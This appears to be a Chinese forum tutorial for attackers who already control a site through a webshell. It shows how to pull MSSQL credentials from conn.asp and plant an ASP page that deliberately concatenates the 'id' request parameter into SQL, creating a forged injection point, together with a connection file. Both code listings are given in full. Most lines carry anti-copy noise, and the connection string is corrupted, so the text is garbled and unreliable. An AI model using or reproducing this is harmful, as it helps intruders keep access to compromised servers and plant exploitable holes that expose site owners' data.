首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
% C6 T( ?8 N$ n0 [1 v# q6 k5 CASP/Visual Basic代码
" s1 X: A+ p: \' t<!--#include file="xx.asp"-->
# S0 ]/ k4 M7 S0 S& u& p<% 8 W8 P6 R# ^) T, z
set rs=server.createobject("ADODB.recordset")
1 J: ` A) M* L8 T. b- X4 kid = request("id")
5 O- m5 p6 @: x" UstrSQL = "select * from admin where id=" & id 8 [& L# F6 R/ p1 e: Q' e3 C
rs.open strSQL,conn,1,3
" z; C! T- z) S2 s# Crs.close 0 z' r" b4 o8 j6 a5 |5 l
%> " E! [7 ^2 [. r* |2 {6 h: E( ^
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!5 E, E: r# t# r$ G N- \- k
然后就要构造一个连接数据库的文件了,代码如下:
+ Y. w R, I' J6 L# x5 s* cASP/Visual Basic代码
, e% @6 T' M% c8 l. [- w Z) B<% 1 z* w! D+ G( i$ p& b' `
strSQLServerName = "000.000.000.000" '服务器名称或地址 $ U3 e, d N) H* y* t
strSQLDBUserName = "sqlname" '数据库帐号 . N! v: `, Z. [/ ]: U1 ^3 D i% S
strSQLDBPassword = "sqlpass" '数据库密码 1 Y9 F# s( [+ V( q, e. T$ s
strSQLDBName = "sqldataname" '数据库名称
# h7 X6 Y: [ @( d/ H5 f6 KSet conn = Server.CreateObject("ADODB.Connection") ) d: O2 V8 ?7 n. a" {: L& j9 L
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
, b$ j* u1 M( N4 d. C0 t4 zconn.open strCon
. G$ e' z$ x% N7 ]; T1 N2 ]%>
' i. H# G/ w2 ~% A这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
. ^9 w. E* C' o7 |2 X0 e |